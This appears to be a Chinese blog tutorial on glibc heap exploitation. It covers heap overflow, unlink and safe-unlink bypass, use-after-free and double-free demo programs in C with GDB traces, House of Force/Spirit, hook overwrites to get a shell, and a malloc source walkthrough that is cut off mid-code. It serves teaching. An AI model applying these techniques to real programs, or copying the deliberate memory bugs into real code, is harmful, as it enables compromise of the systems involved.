0x4052a0: 0x0000000000000000 0x0000000000000000 \u0026lt;-- chunk 数据区 0x4052b0: 0x0000000000000000 0x0000000000000411 \u0026lt;-- Top chunk 头部 0x4052c0: 0x75706e6920746547\t0x00000000000a3a74 继续下一步c，输入aaaaaaaaaa\u0026hellip;\u0026hellip;，直接触发溢出\n可以发现原本 top chunk上的数据全部被我们覆盖了\n破坏堆管理结构：攻击者可以通过覆盖堆管理结构来控制内存分配和释放\n执行任意代码：通过覆盖指针，返回地址等，控制程序执行流\n利用过程 1. 触发漏洞\n直接内存拷贝越界：程序在堆上分配了内存后，使用不安全的函数（如 gets, strcpy, strcat, sprintf, memcpy 等）且未严格校验长度，导致写入的数据超出了堆块（Chunk）的实际容量。 整数溢出/符号错误：在调用 malloc(size) 时，如果 size 的计算存在整数溢出（如a * b溢出变小）或符号转换错误，会导致分配的堆块过小，后续正常写入时引发堆溢出。 相关堆漏洞机制：除了纯粹的溢出，UAF (Use-After-Free) 或Double Free同样可以用来破坏堆块内部的数据。 2. 覆盖关键数据 溢出的数据会覆盖相邻的高地址内存，主要攻击目标分为两类：\n覆盖堆元数据：覆盖相邻空闲块（Free Chunk）的头部信息（如size字段、标志位）或链表指针（如 fd/bk）。或者覆盖Top Chunk的size字段（经典手法如 House of Force）。 覆盖堆内应用数据：如果相邻的堆块中存储了关键的业务结构体（如C++的对象虚表指针vptr、函数指针、认证标志位等），可以直接覆盖这些数据。 3. 控制程序执行流（Control Execution Flow） 这是堆利用的核心阶段，通常分为“直接劫持”和“间接劫持”：\n直接劫持：如果步骤 2 覆盖了堆中的函数指针或虚表指针，当程序后续调用该指针时，控制流直接被劫持。 间接劫持：通过伪造 fd/bk 指针并触发 malloc/free，利用堆管理器的解链（Unlink）机制或缓存机制（如 Fastbin poisoning, Tcache poisoning），迫使堆管理器将下一个堆块分配到攻击者指定的任意地址（例如 __malloc_hook, __free_hook, GOT表, 或栈上的返回地址处）。然后向这个伪造的堆块写入数据，即将目标地址修改为恶意指令地址。 4. 执行恶意代码 一旦获得了控制执行流的能力（例如成功修改了GOT表中的puts函数指针，或覆写了栈上的返回地址），即可执行攻击载荷：\n劫持到One-Gadget / System：将控制流指向libc中的system函数（如system(\u0026quot;/bin/sh\u0026quot;)），或利用libc中的One-Gadget直接获取shell。 构造ROP链（Return-Oriented Programming）：如果启用了数据执行保护（NX），且需要绕过沙箱（如Seccomp限制了execve），可以利用**栈迁移（Stack Pivoting）**技术将栈指针（RSP/ESP）劫持到堆上，在堆上布置 ROP 链，通过open-\u0026gt;read-\u0026gt;write (ORW) 系统调用链来读取敏感文件。 注意，由于堆溢出不存在返回地址等可以直接控制的东西，因此不能和栈溢出一样覆盖eip，然后一步步走，所以我们应该：\n覆盖与其物理相邻的下一个 chunk的内容。 prev_size size，主要有三个比特位，以及该堆块真正的大小。 NON_MAIN_ARENA IS_MAPPED PREV_INUSE the True chunk size chunk content，从而改变程序固有的执行流。 利用堆中的机制（如unlink等 ）来实现任意地址写入（Write-Anything-Anywhere）或控制堆块中的内容等效果，从而来控制程序的执行流。 技术 Unlink攻击 当释放一个内存块并触发与相邻空闲块合并时，堆分配器会执行unlink操作将其从双向链表中脱链。攻击者通过堆溢出篡改相邻空闲块的双向链表指针（fd 和 bk），在unlink执行指针卸载FD-\u0026gt;bk=BK; BK-\u0026gt;fd=FD）时触发任意内存写入。（但现代glibc已引入Safe Unlinking校验进行防护）。\nUse-After-Free (UAF) 程序在释放（free）某个堆块后，未将指向该内存的指针置空（形成悬垂指针），且后续代码继续使用了该指针。攻击者可利用堆内存重用机制分配并控制这块内存，进而通过悬垂指针篡改应用层数据或劫持函数调用流。\nFastbin攻击 Fastbin是glibc中用于快速管理小内存块的单向LIFO链表。攻击者通过堆溢出或Double Free篡改链表中空闲chunk的单向指针（fd），指向伪造的内存结构。当程序后续重新申请内存时，分配器会顺着被篡改的指针将目标地址作为合法堆块返回。\nHouse of Spirit 一种在非堆区域伪造chunk的技术。攻击者在可控区域（如栈或全局变量区）构造符合分配器校验规则的伪造堆头（Fake Chunk），并诱导程序对其执行free操作将其放入空闲链表。后续通过malloc便可将该目标内存区域分配出来并直接修改其内容。\nHouse of Force 针对Top Chunk的利用手法。攻击者通过堆溢出将Top Chunk的size字段修改为极大值，使分配器认为堆空间无限。随后通过申请一次精心计算的大尺寸内存，将Top Chunk推进至任意目标地址，从而在下一次分配时直接掌控目标内存。\nunlink攻击 它主要针对的是glibc(GNU C Library)中内存分配器空闲内存块的机制\n在glibc的内存管理中，当程序释放一块内存时，为了防止内存碎片化，分配器会检查相邻的内存块是否也是空闲的，如果是，他会将这些相邻空闲块也合并，当一个空闲块在双向链表中被取出，准备与其他块合并，或者被重新分配给用户，系统会调用一个叫做unlink的宏，将这个块从双向链表中摘除\n对于unlink宏的底层伪代码如下（类似双向链表节点删除）\n1 2 3 4 5 6 #define unlink(P, BK, FD) { FD = P-\u0026gt;fd; BK = P-\u0026gt;bk; FD-\u0026gt;bk = BK; BK-\u0026gt;fd = FD; } P：当前要被摘除的空闲内存块的指针\nfd：指向链表的下一个空闲块的指针\nbk：指向链表的上一个空闲块的指针\n攻击原理 核心：早期的unlink宏在执行指针操作时，没有检查指针的合法性\n如果程序存在堆溢出漏洞，攻击者可以向相邻的空闲chunk写入数据，覆盖掉这个空闲块的fd和bk指针，比如：\n令被覆盖的 P-\u0026gt;fd = Target_Address - 0x18 （以64位系统为例，0x18是结构体偏移） 令被覆盖的 P-\u0026gt;bk = Value_to_Write 执行完unlink之后\nFD-\u0026gt;bk=BK， 实际变成了*(Target_Address)=Value_to_Write\nBK-\u0026gt;fd=FD ， 实际变成了*(Target_to_Write+0x10)=Target_Address-0x18\n结果就是成功将一个自定义的值写入到了一个任意的目标地址，这就实现了任意地址写的效果，可以通过这个覆盖GOT表，函数的返回地址或者关键变量\nSafe Unlinking 因为经典的unlink攻击威力太大，glibc在后续的版本(2.3之后)引入了防御机制\u0026ndash;Safe Unlinking\n加入了意向严格的完整性检验：\n1 2 if (__builtin_expect (FD-\u0026gt;bk != P || BK-\u0026gt;fd != P, 0)) malloc_printerr (check_action, \u0026#34;corrupted double-linked list\u0026#34;, P, AV); 意思就是在摘除节点之前，必须检查一下P的下一个节点的bk指针和P的上一个节点的fd指针是不是都指向P自己，因为按正常双向链表P-\u0026gt;fd-\u0026gt;bk=P且P-\u0026gt;bk-\u0026gt;fd=P，但是如果我们覆盖了指针，fd和bk被改成了伪造的地址，那里的内存大概率不会包含指向P的指针，因此会验证失败，终止运行\n这时，绕过safe unlink就需要采用一些手段了，也就是得通过safe unlink的检查，覆盖的fd和bk不能再是任意地址，而是必须满足FD-\u0026gt;bk==P和BK-\u0026gt;fd==P，所以我们需要在程序的内存中找到一个指向当前 chunk P的已知指针（通常在.bss段的全局数组里），假设有一个全局指针Ptr指向当前的Chunk P，我们可以伪造：\nP-\u0026gt;fd = \u0026amp;Ptr - 0x18 （64位环境下） P-\u0026gt;bk = \u0026amp;Ptr - 0x10 当触发unlink时：\n检查阶段： FD-\u0026gt;bk 即 (\u0026amp;Ptr - 0x18) + 0x18 = Ptr，而 Ptr 里面存的值正好是指向 P 的地址，检查通过！ BK-\u0026gt;fd 同理，检查通过！ 写入阶段： 执行 FD-\u0026gt;bk = BK 和 BK-\u0026gt;fd = FD。 最终的结果是：全局指针 Ptr 里面的值，变成了 \u0026amp;Ptr - 0x18。 结果：经过这样的操作，原本指向堆内存的全局指针Ptr，现在指向了它自己前面一点点的内存地址，我们便可以借此机会去更改内容\n这里有个小关键点，就是关于0x18和0x10这两个数字，我们来探索一下\n先来看看malloc_chunk结构体吧\n1 2 3 4 5 6 7 struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; // 偏移: 0x00 (前一个空闲块的大小) INTERNAL_SIZE_T mchunk_size; // 偏移: 0x08 (当前块的大小) struct malloc_chunk* fd; // 偏移: 0x10 (指向下一个空闲块的指针) struct malloc_chunk* bk; // 偏移: 0x18 (指向上一个空闲块的指针) // ... 后面还有其他字段，这里省略 }; fd指针在这个结构体里的相对位置是偏移0x10\nbk指针在这个结构体里的相对位置是偏移0x18\n对于FD-\u0026gt;bk==P这一条语句，高级语言C语言中，它会这么翻译：找FD块里的bk字段，而底层的汇编语言看来，没有字段名的概念，他只知道基地址+偏移量\n所以翻译这句话：把FD当做基地址，然后往后移动0x18个字节，那里就是结果\n所以FD-\u0026gt;bk 等价于 *(FD+0x18)\n同理，减去0x10是因为fd的偏移是0x10，只有减去之后才能完美抵消\n让我们走一遍运行时的完美闭环（代入法）：\n攻击者覆盖：P-\u0026gt;fd = \u0026amp;Ptr - 0x18 Unlink 执行：FD = P-\u0026gt;fd （此时 FD 变成了 \u0026amp;Ptr - 0x18） Unlink 检查：FD-\u0026gt;bk == P 编译器翻译检查逻辑：*(FD + 0x18) == P 代入我们的恶意数据：*(\u0026amp;Ptr - 0x18 + 0x18) == P 神奇的事情发生了：- 0x18 和 + 0x18 互相抵消了！ 最终变成了：*(\u0026amp;Ptr) == P =\u0026gt; 即检查 Ptr 里面存的值是不是 P。 答案是：YES！ 检查完美通过！ UAF(Use-After-Free) 释放后重用。。\n概念 当一块堆内存被free释放掉后，指向这块内存的指针没有被置NULL（形成了所谓的悬垂指针），程序在后续的逻辑下，通过这个悬垂指针去读取或写入这块内存\n下面我们就一个C语言程序来完整看看UAF的全过程\n首先写一个存在UAF漏洞的程序\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; struct Note { void (*print)(); // 函数指针 (4/8字节) char content[24]; // 内容区域 }; void secret_func() { printf(\u0026#34;\\n[!] 警告：触发了 UAF！成功将控制流引导至 secret_func()！\\n\\n\u0026#34;); } void normal_print() { printf(\u0026#34;[+] 执行了正常的打印函数 normal_print()\\n\u0026#34;); } int main() { // 1. 分配第一个堆块 n1 struct Note *n1 = (struct Note *)malloc(sizeof(struct Note)); n1-\u0026gt;print = normal_print; strcpy(n1-\u0026gt;content, \u0026#34;Hello World\u0026#34;); printf(\u0026#34;[1] n1 地址: %p, 函数指针 n1-\u0026gt;print 地址: %p\\n\u0026#34;, n1, n1-\u0026gt;print); n1-\u0026gt;print(); // 正常调用 // 2. 释放 n1，但故意不将 n1 置为 NULL（形成悬垂指针） free(n1); printf(\u0026#34;[2] 已 free(n1)，但 n1 指针依然保留: %p\\n\u0026#34;, n1); // 3. 申请相同大小的堆块 n2，系统会优先复用刚才释放的 n1 内存 char *n2 = (char *)malloc(sizeof(struct Note)); printf(\u0026#34;[3] n2 地址: %p (注意：地址与 n1 完全相同！)\\n\u0026#34;, n2); // 4. 通过 n2 修改这块内存的前几个字节（覆写原来的函数指针） *(void **)n2 = (void *)secret_func; printf(\u0026#34;[4] 已通过 n2 将这块内存前段改写为 secret_func() 地址: %p\\n\u0026#34;, secret_func); // 5. 触发 UAF：继续通过悬垂指针 n1 调用 print() printf(\u0026#34;[5] 尝试调用 n1-\u0026gt;print()...\\n\u0026#34;); n1-\u0026gt;print(); // 漏洞触发点 return 0; } 编译为二进制文件\n1 gcc -g -no-pie uaf_demo.c -o uaf_demo 执行程序，在n1-\u0026gt;print()这一步退出，触发了漏洞\n用gdb调试，先下断点b 28，32，41\n看一下n1的布局情况\n可以看到第一列的0x4011ad就是normal_print的地址，继续执行两次c，让程序走完n2分配\n发现这个时候n2的地址竟然和n1一样，其实也就是因为free n1之后，没有将n1置NULL，导致n2申请一样的内存直接把n1空出来的给他了\n看一下内存分布，可以看到这个时候0x4052a0的第一个8字节的数据被覆盖成了0x401166\n这个地址正好是secret_func的地址，执行下一步程序会直接执行这个函数\n回顾一下全过程：\n我们先正常向系统申请内存，然后赋给指针n1，然后把该地址处的前8个字节，写入了函数normal_print的内存地址，随后打印n1的地址和normal_print的地址，上文中的截图有呈现，调用n1-\u0026gt;print()，正常调用，程序执行normal_print，随后，free(n1)，将该地址标记为空闲，收入Tcache/Fastbin链表中，但没有置空，也就是栈上的变量n1仍然存着旧地址，没有清空，随后申请一块大小一致的内存块，这是堆分配器会直接把刚才释放的直接再次分配给n2（Use After Free），他俩指向同一块内存，然后，我们把n2的值覆盖为secret_func的地址，因为n1，n2指向同一块内存，相当于把n1-\u0026gt;print的函数指针换成了secret_func，由于该漏洞，再次执行n1-\u0026gt;print()，这时，便会直接执行secret_func函数！\ndouble free 定义 对同一个指针或同一块内存，在没有重新分配的情况下，连续调用了两次free\n差不多意思就是我不知道这个变量已经free掉了，所以free他了两次，然后在malloc的时候，拿到了同一块内存\n1 2 3 void *p = malloc(0x20); free(p); // 第一次 free free(p); // 第二次 free (Double Free!) 堆管理器的fastbin单向链表（LIFO，后进先出）\n第一次free： glibc把p放进fastbin链表，链表Head-\u0026gt;p-\u0026gt;NULL\n第二次free：堆管理器以为p是一个新的空闲块，再次把p插入头部，Head-\u0026gt;p-\u0026gt;p-\u0026gt;p\u0026hellip;.\n后续调用malloc，第一次malloc，正常返回指针ptr1=p，链表Head-\u0026gt;p\n第二次malloc，返回指针ptr2=p，这两个指针完全指向同一块物理内存，只要通过ptr1写入数据，就会同步更改ptr2的数据，这就实现了堆块重叠\n同样，我们来看一个例子深刻理解一下全过程\n先写一个存在Double Free的程序\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int main() { printf(\u0026#34;[+] 分配一块 0x20 大小的堆内存 p...\\n\u0026#34;); void *p = malloc(0x20); printf(\u0026#34; p 的地址: %p\\n\u0026#34;, p); printf(\u0026#34;[+] 第一次 free(p)...\\n\u0026#34;); free(p); printf(\u0026#34;[+] 第二次 free(p) (Double Free)...\\n\u0026#34;); free(p); // 致命点：对同一指针执行两次 free printf(\u0026#34;[+] 程序如果没崩溃，说明 Double Free 成功绕过了校验！\\n\u0026#34;); return 0; } 编译一下\n1 gcc -g -no-pie double_free_demo.c -o double_free_demo 运行看一下\n发现第二次free后退出了。。\nGDB看看过程，在两次Free前断一下\n继续执行\n注意这里\n1 2 3 (gdb) x/4gx (char*)p-0x10 0x4056a0:\t0x0000000000000000\t0x0000000000000031 0x4056b0:\t0x0000000000000000\t0x0000000000405010 \u0026lt;-- 现代 glibc 在这里写入了 key 标记！ 在现代 glibc 中，当 p 被放进 Tcache 链表后，系统会在 p 的内部写入一个 key 标志（通常指向 tcache 结构体基地址）,检查到了这个key，并在Tcache里找到相同的p，非法释放，退出\n目前的话，由于直接free两次会报错（加入了安全机制），所以对于double free我们通常使用两个指针，先free A，然后free B，这样我检查fastbin的头就不是A了，能正常释放，继续free A，这样也能形成A-\u0026gt;B-\u0026gt;A的闭环，然后任意地址读入，getshell\n总结一下\n漏洞类型 发生原因 GDB 观察到的现象 防御手段 UAF 释放内存后没有把指针置为 NULL 后续申请的新内存复用了旧地址；用旧指针访问到了新改写的数据/函数指针 释放后立即置 NULL：\nfree(p); p = NULL; Double Free 同一指针没有清空，导致被调用两次 free() 导致空闲链表结构破坏（旧版 glibc 会形成链表自环，新版 glibc 会直接报错崩溃） 释放后立即置 NULL：\nfree(NULL) 在 C 语言中是安全且静默跳过的 关系 由这里可以很清楚地看出二者的关联\u0026ndash;\nDouble Free 是一种特殊的、更极端的 UAF；而 UAF 则是 Double Free 能够被成功利用的关键土壤。\nUAF：释放后重用，一块内存被free释放后，指针没有被清空，程序后续依旧去读取或者修改这块内存\nDouble Free：重复释放，同一块内存被free了两次\nDouble Free往往是导致UAF的原因，而UAF是引起Double Free并完成利用的关键手段\n步骤上的先后顺序：\n发生 UAF 的隐患 程序申请了内存，用完后 free(ptr) 释放了，但没有把ptr=NULL，这时候就已经埋下了UAF的祸根（悬挂指针/Dangling Pointer）。 Double Free 因为程序不知道这块内存已经被释放了（由于指针没清空），在某个错误的时机，程序又执行了一次 free(ptr)。这就触发了Double Free。 利用UAF完成攻击 正如我们刚才在实操中看到的，触发Double Free之后，内存管理器的链表乱了。此时我们要想修改链表里的指针（如改写fd指针），必须依赖UAF（即通过还活着的chunk去编辑那块已经被释放的内存）。 以上内容如有理解不到位或表述不当的地方，还请各位师傅不吝赐教。\n","date":"2026-08-14T15:32:19+08:00","image":"/covers/02.jpg","permalink":"/p/heap-overflow/","title":"堆溢出"},{"content":"概述 有些数据的大小在代码编译阶段是无法确定的，比如用户上传照片的尺寸，或者读取的文件大小，就因为他们是未知的，所以我们不能使用大小有限且固定的栈中，而是需要在运行期间按需向操作系统申请一块区域，而这块区域，就叫堆\n定义 堆就是程序虚拟地址空间的一块连续的线性区域，它由低地址往高地址增长，我们称管理堆的那部分程序为堆管理器\n堆管理器主要做以下工作：\n1.响应用户的申请内存请求，向操作系统申请内存，然后将其返回给程序，同时，为了保持内存管理的高效性，内核一般会预先分配很大的一块连续的内存，然后让堆管理器进行管理，只有当堆空间不足的时候，堆管理器才会再次与操作系统进行交互\n2.管理用户所释放的内存，一般来说，程序释放的内存不会直接返回给操作系统，而是由堆管理器进行管理，这些释放的内存可以用来响应用户新申请的内存的请求\n这里的堆管理器，也可以称为内存分配器，Linux下默认的堆管理器是glibc（ptmalloc）\n可以这么理解，glibc是Linux下的核心C标准库，包含了文件操作，字符串处理，数学计算等功能，而内存管理(malloc和free的实现)正是glibc的一个核心模块，负责这个模块的组件就是ptmalloc！\n但是glibc的ptmalloc在多线程并发的情况下有时候性能不是很好，所以很多公司自己开发了更强的\u0026quot;堆管理器\u0026quot;来替换它，比如Google的tcmalloc，Facebook的jemalloc，微软的mimalloc\n分布图 由高地址往低地址\nFor Kernel(内核空间) 内存的最高位置，是操作系统内核专用的内存区域\nStack(栈区) 高地址往低地址增长，用于存放程序运行时的局部变量，函数参数和函数调用的返回地址\nShared libraries(共享库) 在堆与栈之间，用来存放程序运行时加载的动态链接库\nHeap(堆区) 低地址往高地址增长，用于动态内存分配\n可以看到这里有上下两个箭头，其实也就是栈向下长，堆向上长，使堆栈可以根据程序的需要动态向中间扩展空间，只要没有相交，内存就可以一直分配\nData(数据段) 用来存放程序中的全局变量和静态变量\nText(代码段) 存放程序的机器指令，这个区域通常是只读的，防止程序意外修改自己的指令而崩溃\nUnused(未使用区) 内存的最低地址，这部分内存通常是被保护起来不让访问的\n基本操作 主要有堆的分配，回收，堆分配背后的系统调用，以及堆的多线程支持\n堆的操作，其核心靠的就是malloc和free，同时，日常还会用到realloc和calloc\nmalloc 我们可以先看看glibc的malloc.c源码\n1 2 3 4 5 6 7 8 9 10 11 12 13 /* malloc(size_t n) Returns a pointer to a newly allocated chunk of at least n bytes, or null if no space is available. Additionally, on failure, errno is set to ENOMEM on ANSI C systems. If n is zero, malloc returns a minumum-sized chunk. (The minimum size is 16 bytes on most 32bit systems, and 24 or 32 bytes on 64bit systems.) On most systems, size_t is an unsigned type, so calls with negative arguments are interpreted as requests for huge amounts of space, which will often fail. The maximum supported value of n differs across systems, but is in all cases less than the maximum representable value of a size_t. */ 这一段说明可以提取出malloc函数会返回对应大小字节的内存块指针，同时函数对一些异常情况做了处理：\n当 n=0 时，返回当前系统允许的堆的最小内存块。 当 n 为负数时，由于在大多数系统上，size_t 是无符号数（这一点非常重要），所以程序就会申请很大的内存空间，但通常来说都会失败，因为系统没有那么多的内存可以分配。 源码分析 __libc_malloc 它是整个内存分配的入口函数，核心功能在于处理多线程竞争，缓存优化，安全检查，最后把工作交给_int_malloc去做\n完整源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void * __libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; /* 1. 检查并执行 Hook (钩子) 函数 */ void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); /* 2. 获取分配区 (Arena) 并加锁 */ arena_get (ar_ptr, bytes); /* 3. 调用核心分配函数 _int_malloc */ victim = _int_malloc (ar_ptr, bytes); /* 4. 容错与重试机制 */ /* Retry with another arena only if we were able to find a usable arena before. */ if (!victim \u0026amp;\u0026amp; ar_ptr != NULL) { LIBC_PROBE (memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } /* 5. 解锁分配区 */ if (ar_ptr != NULL) (void) mutex_unlock (\u0026amp;ar_ptr-\u0026gt;mutex); /* 6. 断言检查 */ assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))); return victim; } 1.变量定义\n1 2 mstate ar_ptr; // Arena 指针。多线程下，每个线程需要找一个 Arena(分配区) 来获取内存。 void *victim; // 最终分配出来的内存块(Chunk)的指针。 mstate其实就是struct malloc_state *\n2.Hook\n1 2 3 4 void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); 通过读取全局变量__malloc_hook，如果它不是NULL，就不往下走了，直接把参数传给Hook函数并执行，正常用途在于可以写一个函数替换他，用来做内存泄漏检测\n但我们在漏洞利用中，我们可以想办法把__malloc_hook的地址覆盖成恶意代码（如system(\u0026quot;/bin/sh\u0026quot;)）的地址，一旦覆盖成功，程序下次调用malloc时，就直接执行系统调用getshell\n3.获取Arena并加锁\n1 arena_get (ar_ptr, bytes); 一个宏定义，会为当前线程寻找一个可用的Arena（没有的话就新建一个或者阻塞等待），找到后将其地址赋给arena_ptr，并对这个Arena加锁，这是为了防止多线程抢同一块内存，arena_get之后，别的线程就暂时不能动这个Arena了\n拓展：Arena\nArena翻译为分配区，传统意义上，只有一个全局分配区的情况下，多线程并发时，往往会出现竞争极度激烈的情况，所以我们需要多个Arenas来解决这个问题\nglibc中，Arena的真实名字叫做struct malloc_state，可以把它当做一个大管家，当操作系统把一大块内存批给程序之后，就是由Arena来负责“划线、建仓库、管理借还”\n它包含了：\n一把互斥锁(Mutex)：就是为了防止多个线程在同一个Arena里竞争而设置的锁 一堆回收站(Bins)：包含Fastbins，Smallbins，Largebins，Unsorted bin的链表头指针，free掉的内存，都挂在这些属于该Arena的链表上 Top Chunk指针：指向当前这块内存的“边缘”，如果回收站里找不到合适的内存，就从Top Chunk这里切一块出去，可以把它理解为未分配的\u0026quot;荒野\u0026quot; 对于Arena分为两类\n主分配区（Main Arena）\n全局只有一个，程序刚启动的主线程（Main Thread）默认使用它，当他的内存不够时，可以通过brk移动堆顶指针来扩容，也可以通过mmap映射新内存\n非主分配区（Thread Arenas/Non-main Arenas）\n有多个，程序刚创建的子线程使用，当子线程调用malloc，发现Main Arena被锁了，它就会去寻找或创建一个新的Thread Arena，他们不使用brk（因为brk调整的是整个进程唯一的数据段边界），他们只能通过mmap系统调用，向操作系统申请一块独立的，不连续的区域\nArena 的最大数量 = CPU 核心数 × 8\n4.让_int_malloc干活\n1 victim = _int_malloc (ar_ptr, bytes); 把加好锁的Arena和用户申请的bytes扔给_int_malloc，对于该函数的源码，后文会分析。。\n5.失败重试机制\n1 2 3 4 5 6 if (!victim \u0026amp;\u0026amp; ar_ptr != NULL) { LIBC_PROBE (memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } 如果_int_malloc没找到内存（返回NULL），说明当前这个Arena被榨干了，那就调用arena_get_retry换一个Arena再试一次\n6.解锁和返回\n1 2 3 4 5 6 7 if (ar_ptr != NULL) (void) mutex_unlock (\u0026amp;ar_ptr-\u0026gt;mutex); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))); return victim; mutex_unlock：内存分配完了，把Arena解锁，让给别的线程用\nassert：断言检查，确保要么没分配到，要么是一块mmap的内存，要么这块内存确实属于刚刚的Arena。。。\n拓展：mmp\n全称：Memory Map，内存映射\n匿名映射：当调用malloc申请内存时，通常glibc是从自己的仓库（Arena/Bins）里面拿内存的，或者通过移动brk指针来扩大自己的仓库，但是如果突然malloc一块非常大的内存，这时会发生\u0026ndash;\nglibc发现申请的内存大于一个阈值（称为MMAP_THRESHOLD)，他就不会跟正常一样去brk扩展主仓库了，而是直接调用底层的mmap系统调用，mmap会直接在进程内存布局的中间区域（也就是上文那个shared libraries区域附近），强行开辟出一块全新的，干净的，连续的虚拟内存，因为这块内存不和磁盘上的任何文件相关联，所以叫\u0026quot;匿名\u0026quot;映射\n对这一块大内存调用free时，glibc也不会把它回收进自己的回收站，而是直接调用对应的munmap函数，这块内存就瞬间蒸发，完完全全还给操作系统\n可以知道，非主分配区（Thread Arenas）不能用 brk，因为 brk 只能调主堆的顶端，那子线程的 Arena 从哪进货？就是靠 mmap 每次向系统申请 1MB 甚至更大的“匿名内存块”作为自己的初始仓库！\n文件映射\n通常情况下我们要读写一个文件，传统做法是read()和write()，但是操作系统要先从硬盘中把文件读到内核空间，再从内核空间拷贝到用户空间程序里，不仅慢，而且白白浪费了一次拷贝的时间和内存，接下去看看mmp是咋做的\nmmp可以直接把磁盘上那个文件，\u0026ldquo;映射\u0026quot;到程序的一块虚拟内存上，从此程序看这块内存，里面就是文件的内容，像操作普通数组一样修改这块内存里的数据，磁盘上的文件就自动被修改了\n文件映射的核心优势：\n零拷贝（Zero-Copy）思想： 省去了内核空间到用户空间的数据拷贝，速度极快。 大文件处理： 就算文件有 100GB，你的内存只有 8GB，也可以用 mmap 映射。因为操作系统会有“懒加载（缺页中断）”机制，你访问到哪一段，系统才把硬盘上哪一段真正加载进物理内存。 进程间通信（IPC）： 两个不同的程序，如果用 mmap 映射了硬盘上的同一个文件，那么它们就拥有了一块“共享内存”。进程A改了数据，进程B立刻就能看到。 _int_malloc 由于这个函数过于的长，大概有1000多行qwq，就不贴完整源码了可跳转查看\n_int_malloc这个函数对于内存的处理可以说是严丝合缝，会按照从小到大，从快到慢的优先级去各个\u0026quot;回收站\u0026quot;里找：\nFastbins（极速缓存）：大小在16~128字节，速度最快 Small bins（小箱子）：大小在16~512字节，双向链表 Unsorted bin（未分类垃圾堆）：如果你要的内存块在前两个找不到，glibc就会到这里重新整理分类，顺便看看有没有满足的 Large bins（大箱子）：大于512字节，按大小排序 Top Chunk（荒野区）：前面的\u0026quot;二手\u0026quot;内存块都没了，只能取堆的最高处切一块新的 sysmalloc（内核）：Top Chunk也没了，调用brk/mmp向操作系统要物理内存 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 static void *_int_malloc(mstate av, size_t bytes) { INTERNAL_SIZE_T nb; /* normalized request size */ unsigned int idx; /* associated bin index */ mbinptr bin; /* associated bin */ mchunkptr victim; /* inspected/selected chunk */ INTERNAL_SIZE_T size; /* its size */ int victim_index; /* its bin index */ mchunkptr remainder; /* remainder from a split */ unsigned long remainder_size; /* its size */ unsigned int block; /* bit map traverser */ unsigned int bit; /* bit map traverser */ unsigned int map; /* current word of binmap */ mchunkptr fwd; /* misc temp for linking */ mchunkptr bck; /* misc temp for linking */ const char *errstr = NULL; /* Convert request size to internal form by adding SIZE_SZ bytes overhead plus possibly more to obtain necessary alignment and/or to obtain a size of at least MINSIZE, the smallest allocatable size. Also, checked_request2size traps (returning 0) request sizes that are so large that they wrap around zero when padded and aligned. */ checked_request2size(bytes, nb); /* There are no usable arenas. Fall back to sysmalloc to get a chunk from mmap. */ if (__glibc_unlikely(av == NULL)) { void *p = sysmalloc(nb, av); if (p != NULL) alloc_perturb(p, bytes); return p; } 变量的初始化，最主要的是把用户请求的bytes转换成最小能满足的chunk size，变量名为nb，注意，64为系统所有的chunk必须是16字节对齐的，也就是说，malloc申请的内存在底层需要的nb都是32字节（16字节用户数据+16字节Chunk Header）\n1 2 3 __glibc_unlikely(exp)表示exp很可能为假。 __glibc_likely(exp)表示exp很可能为真。 __builtin_expect(exp,value)表示exp==value大概率成立 注意这几个宏定义，他们不会改变程序逻辑，只是告诉编译器这个很可能为某个值，就把否的情况作为跳转，真的情况就顺序运行下去，减少程序的跳转，一定程度上可以优化程序运行速度\n举个例子，看这一段\n1 2 3 4 5 6 static int perturb_byte; static void alloc_perturb (char *p, size_t n) { if (__glibc_unlikely (perturb_byte)) memset (p, perturb_byte ^ 0xff, n); } 逻辑在于分配的时候arena为空，那就调用sys_malloc系统调用去请求一个chunk，然后memset这个chunk的数据段，通常情况下perturb_byte为假，意思就是只要没有特意去改，那么data段全为0字节，实际情况也是如此\nfast bin分配\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 /*Fastbin 极速分配逻辑*/ /* 如果请求的真实大小nb小于等于fastbin的最大限制 (通常是128字节) */ if ((unsigned long) (nb) \u0026lt;= (unsigned long) (get_max_fast ())) { /* 算出这个大小对应 Fastbin 数组的哪一个槽位 (idx) */ idx = fastbin_index (nb); /* 获取这个槽位的头指针 */ mfastbinptr *fb = \u0026amp;fastbin (av, idx); mchunkptr pp = *fb; /* 利用原子操作(CAS)把链表头的第一个 Chunk 摘下来，赋给 victim */ do { victim = pp; if (victim == NULL) break; // 如果这个槽位是空的，跳出循环，去别的地方找 } while ((pp = catomic_compare_and_exchange_val_acq (fb, victim-\u0026gt;fd, victim)) != victim); /* 如果成功从 fastbin 摘下了一块内存 (victim 不为空) */ if (victim != 0) { //核心安全检查：检查摘下来的 Chunk 大小，是否真的属于这个槽位！// if (__builtin_expect (fastbin_index (chunksize (victim)) 